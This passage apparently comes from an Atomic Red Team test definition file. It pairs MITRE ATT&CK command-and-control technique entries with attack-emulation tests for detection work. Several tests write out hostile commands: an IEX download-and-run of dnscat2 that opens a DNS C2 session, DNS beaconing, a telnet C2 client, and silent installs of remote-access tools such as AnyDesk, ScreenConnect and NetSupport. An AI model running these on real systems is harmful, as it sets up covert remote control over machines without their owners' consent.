          description: Seconds between C2 requests to the command and control server
          type: integer
          default: 30
        c2_jitter:
          description: Percentage of jitter to add to the C2 interval to create variance
            in the times between C2 requests
          type: integer
          default: 20
      executor:
        command: |
          Set-Location "PathToAtomicsFolder"
          .\T1071.004\src\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
        name: powershell
    - name: DNS Long Domain Query
      auto_generated_guid: fef31710-223a-40ee-8462-a396d6b66978
      description: |
        This test simulates an infected host returning data to a command and control server using long domain names.
        The simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold.
         Upon execution, DNS information about the domain will be displayed for each callout.
      supported_platforms:
      - windows
      input_arguments:
        query_type:
          description: DNS query type
          type: string
          default: TXT
        subdomain:
          description: Subdomain prepended to the domain name (should be 63 characters
            to test maximum length)
          type: string
          default: atomicredteamatomicredteamatomicredteamatomicredteamatomicredte
        domain:
          description: Default domain to simulate against
          type: string
          default: 127.0.0.1.nip.io
      executor:
        command: |
          Set-Location "PathToAtomicsFolder"
          .\T1071.004\src\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
        name: powershell
    - name: DNS C2
      auto_generated_guid: e7bf9802-2e78-4db9-93b5-181b7bcd37d7
      description: |
        This will attempt to start a C2 session using the DNS protocol. You will need to have a listener set up and create DNS records prior to executing this command.
        The following blogs have more information.

        https://github.com/iagox86/dnscat2

        https://github.com/lukebaggett/dnscat2-powershell
      supported_platforms:
      - windows
      input_arguments:
        domain:
          description: Domain Name configured to use DNS Server where your C2 listener
            is running
          type: string
          default: example.com
        server_ip:
          description: IP address of DNS server where your C2 listener is running
          type: string
          default: 127.0.0.1
      executor:
        command: |
          IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1')
          Start-Dnscat2 -Domain #{domain} -DNSServer #{server_ip}
        name: powershell
  T1573.001:
    technique:
      modified: '2023-12-26T20:58:19.356Z'
      name: Symmetric Cryptography
      description: Adversaries may employ a known symmetric encryption algorithm to
        conceal command and control traffic rather than relying on any inherent protections
        provided by a communication protocol. Symmetric encryption algorithms use
        the same key for plaintext encryption and ciphertext decryption. Common symmetric
        encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_deprecated: false
      x_mitre_detection: |-
        With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.

        In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      - Network
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41
      created: '2020-03-16T15:45:17.032Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1573/001
        external_id: T1573.001
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1568.001:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6
      type: attack-pattern
      created: '2020-03-11T14:11:16.560Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1568.001
        url: https://attack.mitre.org/techniques/T1568/001
      - url: https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref
        description: Mehta, L. (2014, December 17). Fast Flux Networks Working and
          Detection, Part 1. Retrieved March 6, 2017.
        source_name: MehtaFastFluxPt1
      - source_name: MehtaFastFluxPt2
        description: Mehta, L. (2014, December 23). Fast Flux Networks Working and
          Detection, Part 2. Retrieved March 6, 2017.
        url: https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref
      - source_name: Fast Flux - Welivesecurity
        url: https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/
        description: 'Albors, Josep. (2017, January 12). Fast Flux networks: What
          are they and how do they work?. Retrieved March 11, 2020.'
      modified: '2021-04-29T14:49:39.188Z'
      name: Fast Flux DNS
      description: |-
        Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)

        The simplest, "single-flux" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)

        In contrast, the "double-flux" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: In general, detecting usage of fast flux DNS is difficult
        due to web traffic load balancing that services client requests quickly. In
        single flux cases only IP addresses change for static domain names. In double
        flux cases, nothing is static. Defenders such as domain registrars and service
        providers are likely in the best position for detection.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1071:
    technique:
      modified: '2024-01-17T22:52:23.454Z'
      name: Application Layer Protocol
      description: "Adversaries may communicate using OSI application layer protocols
        to avoid detection/network filtering by blending in with existing traffic.
        Commands to the remote system, and often the results of those commands, will
        be embedded within the protocol traffic between the client and server. \n\nAdversaries
        may utilize many different protocols, including those used for web browsing,
        transferring files, electronic mail, or DNS. For connections that occur internally
        within an enclave (such as those between a proxy or pivot node and other nodes),
        commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye
        Spy Email Nov 22) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_contributors:
      - Duane Michael
      x_mitre_deprecated: false
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect application
        layer protocols that do not follow the expected protocol standards regarding
        syntax, structure, or any other variable adversaries could leverage to conceal
        data.(Citation: University of Birmingham C2)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6
      created: '2017-05-31T21:30:56.776Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1071
        external_id: T1071
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      - source_name: Mandiant APT29 Eye Spy Email Nov 22
        description: 'Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved
          August 17, 2023.'
        url: https://www.mandiant.com/resources/blog/unc3524-eye-spy-email
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1071
    atomic_tests:
    - name: Telnet C2
      auto_generated_guid: 3b0df731-030c-4768-b492-2a3216d90e53
      description: 'An adversary may establish telnet communication from compromised
        endpoint to command and control (C2) server to be able to operate more attack
        on objectives.

        '
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Command and Control (C2) server cam be established by running
          PathToAtomicsFolder\T1071\bin\telnet_server.exe on specified server with
          specified IP that must be reachable by client (telnet_client.exe)

          '
        prereq_command: |
          $connection = Test-NetConnection -ComputerName #{server_ip} -Port #{server_port}
          if ($connection.TcpTestSucceeded) {exit 0} else {exit 1}
        get_prereq_command: 'Write-Host "Setup C2 server manually"

          '
      input_arguments:
        server_ip:
          description: C2 server IP or URL
          type: url
          default: 127.0.0.1
        client_path:
          description: Client agent path
          type: path
          default: PathToAtomicsFolder\T1071\bin\telnet_client.exe
        server_port:
          description: C2 server port
          type: integer
          default: 23
      executor:
        command: "#{client_path} #{server_ip} --port #{server_port}\n"
        name: powershell
  T1219:
    technique:
      modified: '2024-04-12T23:52:30.489Z'
      name: Remote Access Software
      description: "An adversary may use legitimate desktop support and remote access
        software to establish an interactive command and control channel to target
        systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`,
        `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and
        management (RMM) tools, are commonly used as legitimate technical support
        software and may be allowed by application control within a target environment.(Citation:
        Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation:
        CrySyS Blog TeamSpy)\n\nRemote access software may be installed and used post-compromise
        as an alternate communications channel for redundant access or as a way to
        establish an interactive remote desktop session with the target system. They
        may also be used as a component of malware to establish a reverse connection
        or back-connect to a service or adversary-controlled system.\n \nAdversaries
        may similarly abuse response features included in EDR and other defensive
        tools that enable remote access.\n\nInstallation of many remote access software
        may also include persistence (e.g., the software's installation routine creates
        a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote
        access modules/features may also exist as part of otherwise existing software
        (e.g., Google Chrome’s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation:
        Chrome Remote Desktop)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_contributors:
      - Matt Kelly, @breakersall
      - Zachary Stanford, @svch0st
      - Dray Agha, @Purp1eW0lf, Huntress Labs
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.

        Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.

        [Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_version: '2.3'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      type: attack-pattern
      id: attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1219
        external_id: T1219
      - source_name: CrowdStrike 2015 Global Threat Report
        description: CrowdStrike Intelligence. (2016). 2015 Global Threat Report.
          Retrieved April 11, 2018.
        url: https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf
      - source_name: CrySyS Blog TeamSpy
        description: CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’
          tolko s razreshenija S-a. Retrieved April 11, 2018.
        url: https://blog.crysys.hu/2013/03/teamspy/
      - source_name: Google Chrome Remote Desktop
        description: Google. (n.d.). Retrieved March 14, 2024.
        url: https://support.google.com/chrome/answer/1649523
      - source_name: Chrome Remote Desktop
        description: Huntress. (n.d.). Retrieved March 14, 2024.
        url: https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
      - source_name: Symantec Living off the Land
        description: Wueest, C., Anand, H. (2017, July). Living off the land and fileless
          attack techniques. Retrieved April 10, 2018.
        url: https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1219
    atomic_tests:
    - name: TeamViewer Files Detected Test on Windows
      auto_generated_guid: 8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0
      description: 'An adversary may attempt to trick the user into downloading teamviewer
        and using this to maintain access to the machine. Download of TeamViewer installer
        will be at the destination location when sucessfully executed.

        '
      supported_platforms:
      - windows
      executor:
        command: "Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Desktop\\TeamViewer_Setup.exe
          https://download.teamviewer.com/download/TeamViewer_Setup.exe\n$file1 =
          \"C:\\Users\\\" + $env:username + \"\\Desktop\\TeamViewer_Setup.exe\"\nStart-Process
          -Wait $file1 /S; \nStart-Process 'C:\\Program Files (x86)\\TeamViewer\\TeamViewer.exe'\n"
        cleanup_command: |-
          $file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
          if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
          $file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
          Remove-Item $file1 -ErrorAction Ignore | Out-Null
        name: powershell
        elevation_required: true
    - name: AnyDesk Files Detected Test on Windows
      auto_generated_guid: 6b8b7391-5c0a-4f8c-baee-78d8ce0ce330
      description: 'An adversary may attempt to trick the user into downloading AnyDesk
        and use to establish C2. Download of AnyDesk installer will be at the destination
        location and ran when sucessfully executed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
          $file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
          Start-Process $file1 /S;
        cleanup_command: |-
          $file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
          Remove-Item $file1 -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: LogMeIn Files Detected Test on Windows
      auto_generated_guid: d03683ec-aae0-42f9-9b4c-534780e0f8e1
      description: 'An adversary may attempt to trick the user into downloading LogMeIn
        and use to establish C2. Download of LogMeIn installer will be at the destination
        location and ran when sucessfully executed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
          $file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
          Start-Process -Wait $file1 /quiet;
          Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"
        cleanup_command: "get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package
          \n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\LogMeInIgnition.msi\"\nRemove-Item
          $file1 -ErrorAction Ignore"
        name: powershell
        elevation_required: true
    - name: GoToAssist Files Detected Test on Windows
      auto_generated_guid: 1b72b3bd-72f8-4b63-a30b-84e91b9c3578
      description: 'An adversary may attempt to trick the user into downloading GoToAssist
        and use to establish C2. Download of GoToAssist installer will be at the destination
        location and ran when sucessfully executed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1"
          $file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
          Start-Process $file1 /S;
        cleanup_command: try{"$PathToAtomicsFolder/T1219/bin/GoToCleanup.ps1"} catch{}
        name: powershell
        elevation_required: true
    - name: ScreenConnect Application Download and Install on Windows
      auto_generated_guid: 4a18cc4e-416f-4966-9a9d-75731c4684c0
      description: |
        An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory.
        Msiexec will be used to quietly insall ScreenConnect.
      supported_platforms:
      - windows
      executor:
        command: |
          $installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
          Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.11.4237.7885_Release.msi"
          msiexec /i $installer /qn
        cleanup_command: |
          $installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
          msiexec /x $installer /qn
        name: powershell
        elevation_required: true
    - name: Ammyy Admin Software Execution
      auto_generated_guid: 0ae9e327-3251-465a-a53b-485d4e3f58fa
      description: "An adversary may attempt to trick the user into downloading Ammyy
        Admin Remote Desktop Software for use as a C2 channel. \nUpon successful execution,
        Ammyy Admin will be executed. \n"
      supported_platforms:
      - windows
      input_arguments:
        Ammyy_Admin_Path:
          description: Path of Ammyy Admin executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Ammyy Admin must exist on disk at the specified location (#{Ammyy_Admin_Path})

          '
        prereq_command: 'if (Test-Path "#{Ammyy_Admin_Path}") {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://web.archive.org/web/20140625232737/http://www.ammyy.com/AA_v3.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe" -UseBasicParsing
      executor:
        command: 'Start-Process "#{Ammyy_Admin_Path}"

          '
        cleanup_command: 'Stop-Process -Name "Ammyy" -force -erroraction silentlycontinue

          '
        name: powershell
        elevation_required: true
    - name: RemotePC Software Execution
      auto_generated_guid: fbff3f1f-b0bf-448e-840f-7e1687affdce
      description: "An adversary may attempt to trick the user into downloading RemotePC
        Software for use as a C2 channel. \nUpon successful execution, RemotePC will
        be executed. \n"
      supported_platforms:
      - windows
      input_arguments:
        RemotePC_Path:
          description: Path of RemotePC executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\RemotePC.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'RemotePC must exist on disk at the specified location (#{RemotePC_Path})

          '
        prereq_command: 'if (Test-Path "#{RemotePC_Path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://static.remotepc.com/downloads/rpc/140422/RemotePC.exe" -OutFile "#{RemotePC_Path}" -UseBasicParsing
      executor:
        command: 'Start-Process "#{RemotePC_Path}"

          '
        cleanup_command: "Unregister-ScheduledTask -TaskName \"RemotePC\" -Confirm:$False
          -ErrorAction SilentlyContinue\nUnregister-ScheduledTask -TaskName \"RPCServiceHealthCheck\"
          -Confirm:$False -ErrorAction SilentlyContinue\nUnregister-ScheduledTask
          -TaskName \"ServiceMonitor\" -Confirm:$False -ErrorAction SilentlyContinue\nUnregister-ScheduledTask
          -TaskName \"StartRPCService\" -Confirm:$False -ErrorAction SilentlyContinue
          \     \nStop-Process -Name \"RemotePCPerformance\" -force -erroraction silentlycontinue\nStop-Process
          -Name \"RPCPerformanceService\" -force -erroraction silentlycontinue\nStop-Process
          -Name \"RemotePCUIU\" -force -erroraction silentlycontinue\nStop-Process
          -Name \"RPCDownloader\" -force -erroraction silentlycontinue\nStop-Process
          -Name \"RemotePCService\" -force -erroraction silentlycontinue\nStop-Process
          -Name \"RPCService\" -force -erroraction silentlycontinue\n"
        name: powershell
        elevation_required: true
    - name: NetSupport - RAT Execution
      auto_generated_guid: ecca999b-e0c8-40e8-8416-ad320b146a75
      description: "A recent trend by threat actors, once a foothold is established,
        maintain long term persistence using third party remote services such as NetSupport
        to provide the operator with access to the network using legitimate services.
        \n"
      supported_platforms:
      - windows
      input_arguments:
        NetSupport_Path:
          description: Path to the NetSupport executable.
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1219_NetSupport.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'NetSupport must be downloaded and exist on the disk at the specified
          location. (#{NetSupport_Path})

          '
        prereq_command: 'if (Test-Path "#{NetSupport_Path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          (New-Object Net.WebClient).DownloadFile("https://nsproducts.azureedge.net/nsm-1270/en/Setup.exe","#{NetSupport_Path}")
      executor:
        command: 'Start-Process "#{NetSupport_Path}" -ArgumentList "/S /v/qn"

          '
        cleanup_command: 'Stop-Process -Name "client32" -force -erroraction silentlycontinue

          '
        name: powershell
        elevation_required: true
    - name: UltraViewer - RAT Execution
      auto_generated_guid: 19acf63b-55c4-4b6a-8552-00a8865105c8
      description: "A recent trend by threat actors, once a foothold is established,
        maintain long term persistence using third party remote services such as UltraViewer
        to provide the operator with access to the network using legitimate services.
        \n"
      supported_platforms:
      - windows
      input_arguments:
        UltraViewer_Path:
          description: Path to the UltraViewer executable.
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1219_UltraViewer.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Ultraviewer installer must be downloaded and exist on the disk
          at the specified location. (#{UltraViewer_Path})

          '
        prereq_command: 'if (Test-Path "#{UltraViewer_Path}") {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          (New-Object Net.WebClient).DownloadFile("https://www.ultraviewer.net/en/UltraViewer_setup_6.5_en.exe","#{UltraViewer_Path}")
      executor:
        command: |
          Start-Process -Wait -FilePath "#{UltraViewer_Path}" -Argument "/silent" -PassThru
          Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'
        cleanup_command: 'Stop-Process -Name "UltraViewer_Desktop" -Force -ErrorAction
          SilentlyContinue

          '
        name: powershell
        elevation_required: true
    - name: UltraVNC Execution
      auto_generated_guid: 42e51815-a6cc-4c75-b970-3f0ff54b610e
      description: |
        An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel.
        Upon successful execution, UltraVNC will be executed.
      supported_platforms:
      - windows
      input_arguments:
        UltraVNC_Viewer_Path:
          description: Path of UltraVNC Viewer executable
          type: path
          default: "$env:ProgramFiles\\'uvnc bvba\\UltraVnc\\vncviewer.exe'"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UltraVNC must exist at (#{UltraVNC_Viewer_Path})

          '
        prereq_command: 'if (Test-Path #{UltraVNC_Viewer_Path}) {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://www.uvnc.eu/download/1381/UltraVNC_1_3_81_X64_Setup.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe"
          start-process "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe" /silent
      executor:
        command: 'Start-Process #{UltraVNC_Viewer_Path}

          '
        cleanup_command: 'Stop-Process -Name "vncviewer" -force -erroraction silentlycontinue

          '
        name: powershell
        elevation_required: true
    - name: MSP360 Connect Execution
      auto_generated_guid: b1b8128b-c5d4-4de9-bf70-e60419274562
      description: |
        An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel.
        Upon successful execution, MSP360 Connect will be executed.
      supported_platforms:
      - windows
      input_arguments:
        MSP360_Connect_Path:
          description: Path of MSP360 executable
          type: path
          default: "$env:ProgramFiles\\Connect\\Connect.exe"
        MSP360_Download_Url:
          description: URL to download MSP360 Connect from
          type: url
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'MSP360 must exist at (#{MSP360_Connect_Path})

          '
        prereq_command: 'if (Test-Path #{MSP360_Connect_Path}) {exit 0} else {exit
          1}

          '
        get_prereq_command: "New-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\"
          -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\msp360connect.exe\"
          \"#{MSP360_Download_Url}\"\nstart-process \"PathToAtomicsFolder\\..\\ExternalPayloads\\msp360connect.exe\"
          /S    \n"
      executor:
        command: 'Start-Process #{MSP360_Connect_Path}

          '
        cleanup_command: 'Stop-Process -Name "Connect" -force -erroraction silentlycontinue

          '
        name: powershell
        elevation_required: true
    - name: RustDesk Files Detected Test on Windows
      auto_generated_guid: f1641ba9-919a-4323-b74f-33372333bf0e
      description: "An adversary may attempt to trick the user into downloading RustDesk
        and use this to maintain access to the machine. \nDownload of RustDesk installer
        will be at the destination location when successfully executed.\n"
      supported_platforms:
      - windows
      executor:
        command: |-
          $file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe"
          Invoke-WebRequest  -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe
          Start-Process -FilePath $file "/S"
        cleanup_command: |-
          $file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe"
          Remove-Item $file1 -ErrorAction Ignore
        name: powershell
    - name: Splashtop Execution
      auto_generated_guid: b025c580-029e-4023-888d-a42710d76934
      description: |
        An adversary may attempt to trick the user into downloading Splashtop for use as a C2 channel.
        Upon successful execution, Splashtop will be executed.
      supported_platforms:
      - windows
      input_arguments:
        Splashtop_Path:
          description: Path of Splashtop executable
          type: path
          default: "${env:programfiles(x86)}\\Splashtop\\Splashtop Remote\\Client
            for STP\\strwinclt.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Splashtop must exist at "#{Splashtop_Path}"

          '
        prereq_command: 'if (Test-Path "#{Splashtop_Path}") {exit 0} else {exit 1}

          '
        get_prereq_command: "New-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\"
          -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\splashtop_install.exe\"
          \"https://download.splashtop.com/winclient/STP/Splashtop_Personal_Win_v3.6.6.0.exe\"\nstart-sleep
          30\nstart-process \"PathToAtomicsFolder\\..\\ExternalPayloads\\splashtop_install.exe\"
          /S  \nstart-sleep 30      \n"
      executor:
        command: 'Start-Process "#{Splashtop_Path}"

          '
        cleanup_command: 'Stop-Process -Name "strwinclt" -force -erroraction silentlycontinue

          '
        name: powershell
        elevation_required: true
    - name: Splashtop Streamer Execution
      auto_generated_guid: 3e1858ee-3550-401c-86ec-5e70ed79295b
      description: An adversary may attempt to use Splashtop Streamer to gain unattended
        remote interactive access. Upon successful execution, Splashtop streamer will
        be executed.
      supported_platforms:
      - windows
      input_arguments:
        srserver_exe:
          description: Splashtop streamer installation executables
          type: string
          default: SRServer.exe
      dependency_executor_name: powershell
      dependencies:
